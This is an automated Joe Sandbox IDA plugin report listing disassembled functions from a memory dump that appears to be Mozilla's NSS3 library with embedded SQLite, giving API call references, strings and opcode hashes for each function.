EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

invalid, xrefs: 6C645EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64
misuse, xrefs: 6C645EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
%s at line %d of [%.10s], xrefs: 6C645EE0
API call with %s database connection pointer, xrefs: 6C645EC3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

database corruption, xrefs: 6C62DE5C, 6C62DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

%s=%c%s%c, xrefs: 6C6B4FA9
oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5
%s=%s, xrefs: 6C6B4F89

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

